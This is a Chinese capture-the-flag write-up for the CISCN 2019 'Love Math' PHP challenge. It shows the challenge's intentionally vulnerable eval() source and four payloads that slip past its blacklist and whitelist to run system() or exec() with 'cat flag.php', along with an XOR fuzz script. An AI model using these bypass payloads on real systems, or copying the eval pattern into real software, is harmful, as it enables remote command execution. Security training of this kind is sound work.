[CISCN 2019 初赛]Love Math
源码:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-06 14:04:45
*/
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
函数解释:
preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] ) : int
搜索subject
中所有匹配pattern
给定正则表达式 的匹配结果并且将它们以flag
指定顺序输出到matches
中.结果排序为$matches[0]
保存完整模式的所有匹配, $matches[1]
保存第一个子组的所有匹配,以此类推。
这段代码的意思是:首先接收一个c
, 长度还不能大于 80 。还不能有黑名单中的 空格、\t
、\r
、\n
、引号、方括号。然后设置白名单,必须符合。也就是必须输入白名单中的函数。最后用eval()
来执行并返回我们的参数。
做题思路:
首先 php 允许把函数名通过字符串方式传递给一个变量,然后通过变量动态调用函数。如$a="abc";$A()
就会执行 abc() 函数。
php 中函数名默认为字符串,可以进行异或。
方法一
想办法构造$_GET[1]
再传参getflag,但是其实发现构造这个很难。。。因为$
、_
、[
、]
都不能用,同时GET
必须是大写,很难直接构造。
先看一下用到的一些数学函数:
base_convert ( string $number , int $frombase , int $tobase ) : string
返回一字符串,包含 number
以 tobase
进制的表示。number
本身的进制由 frombase
指定。frombase
和 tobase
都只能在 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。意思就是将输入数字的进制进行转换。
可以使用这个函数将其他进制数转为36进制,而是36进制是包含所有数字和小写字母的。但终究无法构造GET
大写字母。但又可以构造其他的小写字母函数,让构造的函数转换。
hexdec ( string $hex_string ) : number //十六进制转换为十进制
dechex ( int $number ) : string //十进制转换为十六进制
bin2hex ( string $str ) : string //函数把包含数据的二进制字符串转换为十六进制值
hex2bin ( string $data ) : string //转换十六进制字符串为二进制字符串
那么我们就可以想象一下,把_GET
先利用bin2hex()
转换为 十六进制,在利用hexdec()
转换为十进制,那么反过来就可以把一段数字转换为字符。
但是binhex()
, hexdec()
等不是白名单的函数,要从哪里来?
这时候就要看base_convert()
的作用了,因为上面的函数都是小写的,所以可以利用此函数将一个十进制数的数字转为三十六进制的小写字符。这里三十六进制是10个数字+26个小写字母,因此能够完整表示出一个函数名的所有字符。
那么怎么才能直到这个数呢?我们可以先逆向将三十六进制字符转换为十进制数,得到该数字,最终逆向构造即可。
base_convert('hex2bin',36,10); //37907361743
base_convert(37907361743,10,36); //hex2bin
再将_GET
反向构造出来:
bin2hex('_GET'); //得到 5f474554 将字符转换为十六进制
hexdec('5f474554'); //得到 1598506324 将十六进制转为十进制
dechex(1598506324); //得到 5f474554 将十进制转换为十六进制
hex2bin('5f474554'); //得到 _GET
白名单中有dechex()
、hexdec()
函数,但是没有hex2bin()
、bin2hex()
函数,但是我们可以使用base_convert()
函数构造任意小写函数。
base_convert(37907361743,10,36)(dechex(1598506324)) //hex2bin(dechex(1598506324))
可以用{}
代替[]
构造
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos})&abs=system&acos=ls
// $pi=_GET;($_GET[abs])($_GET[acos]) ==> $pi=_GET;(system)(ls)
//得到 _GETflag.php index.php
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos})&abs=system&acos=cat flag.php
//得到flag
方法二
可以构造getallheaders()
传参,此是小写的,可以直接用base_convert
转换。
getallheaders ( void ) : array
获取全部 HTTP 请求头信息。
首先构造system
和getallheaders
:
base_convert('getallheaders',30,10);
//得到8768397090111664438,这里不使用36进制是因为精度会丢失,尝试到30的时候成功
base_convert('system',36,10); //得到1751504350
payload:
?c=$pi=base_convert;$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})
HEADER: 1:cat flag.php
方法三
直接cat f*
echo dechex(16)^asinh^pi; //输出*
base_convert('cat',36,10); //得到15941
base_convert('system',36,10); //得到1751504350
payload:
?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
//system('cat'.dechex(16)^asinh^pi) => system('cat *')
或者
hexdec(bin2hex('cat f*')); //得到109270211257898
base_convert('exec',36,10); //得到696468
payload:
?c=($pi=base_convert)(696468,10,36)($pi(76478043844,9,34)(dechex(109270211257898)))
//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
这里发现一个问题,这个payload超过了80的长度限制,所以只能把三十四进制转换为二十三进制。
?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
方法四
前面都是利用白名单的数学函数将数字转成字符串,其实也可以异或构造这是fuzz脚本
<?php
$payload=['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i=0;$i<9; $i++){
for($j=0;$j<=9;$j++){
$exp=$payload[$k] ^$i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo"<br />";
}
}
}
得到is_nan^64==>_G
和tan^15==>ET
payload:
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat flag.php
//$pi=_GET;$pi=$_GET;$_GET[0]($_GET[1])&0=system&1=cat flag.php ==> system(cat flag.php)